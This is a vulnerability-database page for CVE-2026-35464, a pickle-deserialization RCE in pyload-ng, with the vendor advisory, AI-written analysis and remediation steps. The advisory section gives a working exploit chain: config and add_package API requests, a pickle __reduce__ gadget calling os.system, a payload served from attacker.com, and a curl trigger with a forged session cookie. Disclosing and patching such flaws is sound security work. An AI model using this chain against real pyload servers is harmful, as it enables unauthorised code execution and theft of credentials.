Skip to main content

Docker CVE-2026-35464

HIGH
Deserialization of Untrusted Data (CWE-502)
2026-04-04 https://github.com/pyload/pyload GHSA-4744-96p5-mp2j
7.5
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
7.5 HIGH
AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
High
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

3
Re-analysis Queued
Apr 23, 2026 - 15:23 vuln.today
cvss_changed
Analysis Generated
Apr 04, 2026 - 06:45 vuln.today
CVE Published
Apr 04, 2026 - 06:43 nvd
HIGH 7.5

DescriptionGitHub Advisory

Summary

The fix for CVE-2026-33509 (GHSA-r7mc-x6x7-cqxx) added an ADMIN_ONLY_OPTIONS set to block non-admin users from modifying security-critical config options. The storage_folder option is not in this set and passes the existing path restriction because the Flask session directory is outside both PKGDIR and userdir. A user with SETTINGS and ADD permissions can redirect downloads to the Flask filesystem session store, plant a malicious pickle payload as a predictable session file, and trigger arbitrary code execution when any HTTP request arrives with the corresponding session cookie.

Required Privileges

The chain requires a single non-admin user with both SETTINGS (to change storage_folder) and ADD (to submit a download URL) permissions. These are independent bitmask flags that can be assigned together by an admin. The final RCE trigger is unauthenticated: any HTTP request with the crafted session cookie causes deserialization.

Root Cause

storage_folder at src/pyload/core/api/__init__.py:238-246 has a path check that blocks writing inside PKGDIR or userdir using os.path.realpath. However, Flask's filesystem session directory (/tmp/pyLoad/flask/ in the standard Docker deployment) is outside both restricted paths.

pyload configures Flask with SESSION_TYPE = "filesystem" at __init__.py:127. The cachelib FileSystemCache stores session files as md5("session:" + session_id) and deserializes them with pickle.load() on every request that carries the corresponding session cookie.

Proven RCE Chain

Tested against lscr.io/linuxserver/pyload-ng:latest Docker image.

Step 1 - Change download directory to Flask session store:

POST /api/set_config_value {"section":"core","category":"general","option":"storage_folder","value":"/tmp/pyLoad/flask"}

The path check resolves /tmp/pyLoad/flask/ via realpath. It does not start with PKGDIR (/lsiopy/.../pyload/) or userdir (/config/). Check passes.

Step 2 - Compute the target session filename:

md5("session:ATTACKER_SESSION_ID") = 92912f771df217fb6fbfded6705dd47c

Flask-Session uses cachelib which stores files as md5(key_prefix + session_id). The default key prefix is session:.

Step 3 - Host and download the malicious pickle payload:

import pickle, os, struct class RCE: def __reduce__(self): return (os.system, ("id > /tmp/pyload-rce-success",)) session = {"_permanent": True, "rce": RCE()} payload = struct.pack("I", 0) + pickle.dumps(session, protocol=2)

struct.pack("I", 0) = cachelib timeout header (0 = never expires)

Serve as http://attacker.com/92912f771df217fb6fbfded6705dd47c and submit:

POST /api/add_package {"name":"x","links":["http://attacker.com/92912f771df217fb6fbfded6705dd47c"],"dest":1}

The file is saved to /tmp/pyLoad/flask/92912f771df217fb6fbfded6705dd47c.

Step 4 - Trigger deserialization (unauthenticated):

curl http://target:8000/ -b "pyload_session_8000=ATTACKER_SESSION_ID"

The session cookie name is pyload_session_ + the configured port number (__init__.py:128).

Flask loads the session file. cachelib reads the 4-byte timeout header, confirms the entry is not expired, and calls pickle.load(). The RCE gadget executes.

Result:

$ docker exec pyload-poc cat /tmp/pyload-rce-success uid=1000(abc) gid=1000(users) groups=1000(users)

Impact

A non-admin user with SETTINGS + ADD permissions achieves arbitrary code execution as the pyload service user. The final trigger requires no authentication. The attacker can:

  • Execute arbitrary commands with the privileges of the pyload process
  • Read environment variables (API keys, credentials)
  • Access the filesystem (download history, user database)
  • Pivot to other network resources

Suggested Fix

Add storage_folder to the ADMIN_ONLY set, or extend the path check to block writing to auto-consumed temporary directories (Flask session store, Jinja bytecode cache, pyload temp directory):

ADMIN_ONLY_OPTIONS = { ... ("general", "storage_folder"),

ADDED: prevents session poisoning RCE

... }

Also correct the existing wrong option names:

("webui", "ssl_certfile"),

FIXED: was "ssl_cert" (dead code)

("webui", "ssl_keyfile"),

FIXED: was "ssl_key" (dead code)

AnalysisAI

Arbitrary code execution in pyload-ng via pickle deserialization allows non-admin users with SETTINGS and ADD permissions to write malicious session files and trigger unauthenticated RCE. Attackers redirect the download directory to Flask's session store (/tmp/pyLoad/flask), plant a crafted pickle payload as a predictable session filename, then trigger deserialization by sending any HTTP request with the corresponding session cookie. This bypasses CVE-2026-33509 fix controls because storage_folder was not added to ADMIN_ONLY_OPTIONS. No public exploit identified at time of analysis, though detailed proof-of-concept methodology is documented in the advisory. EPSS data not available for this recent CVE.

Technical ContextAI

This vulnerability exploits pyload-ng's Flask-Session implementation which uses cachelib's FileSystemCache backend with pickle serialization. The application configures SESSION_TYPE as filesystem at initialization, causing session data to be stored in /tmp/pyLoad/flask/ and deserialized via pickle.load() on every request. The root cause is CWE-502 (Deserialization of Untrusted Data) combined with insufficient path validation. While CVE-2026-33509 introduced ADMIN_ONLY_OPTIONS to restrict security-critical settings, the storage_folder option was omitted from this safeguard. The existing path check at src/pyload/core/api/__init__.py:238-246 uses os.path.realpath to block writes inside PKGDIR and userdir but does not prevent redirection to the Flask session directory. Session filenames are predictable (md5 hash of 'session:' prefix plus session ID), allowing attackers to craft files that will be consumed by the pickle deserializer. The affected package is pkg:pip/pyload-ng, particularly vulnerable in Docker deployments using the lscr.io/linuxserver/pyload-ng:latest image where the session directory structure is standardized.

RemediationAI

Apply the vendor-released patch by upgrading pyload-ng to the latest version from the official repository at github.com/pyload/pyload. The fix adds storage_folder to the ADMIN_ONLY_OPTIONS set to prevent non-admin users from modifying this security-critical configuration option. Until patching is possible, implement these workarounds: revoke SETTINGS permission from all non-admin users to prevent storage_folder modification, or revoke ADD permission to prevent malicious file downloads, or implement network-level access controls to restrict pyload access to trusted users only. Review existing user permission assignments and remove SETTINGS + ADD combination from non-admin accounts. Monitor /tmp/pyLoad/flask/ directory for unexpected files and audit recent storage_folder configuration changes in logs. The vendor advisory at https://github.com/pyload/pyload/security/advisories/GHSA-4744-96p5-mp2j contains full remediation guidance. Also reference the original CVE-2026-33509 advisory at https://github.com/pyload/pyload/security/advisories/GHSA-r7mc-x6x7-cqxx to understand the security control this vulnerability bypasses.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

CVE-2025-34221 CRITICAL POC
10.0 Sep 29

Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.2.169 and Application prior to version 2

CVE-2024-23054 CRITICAL POC
9.8 Feb 05

An issue in Plone Docker Official Image 5.2.13 (5221) open-source software that could allow for remote code execution du

CVE-2025-23211 CRITICAL POC
9.9 Jan 28

Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. Rated critical seve

CVE-2026-46339 CRITICAL POC
10.0 May 19

Unauthenticated remote code execution in 9router (npm package) versions 0.4.30 through 0.4.36 allows network-adjacent at

Share

CVE-2026-35464 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy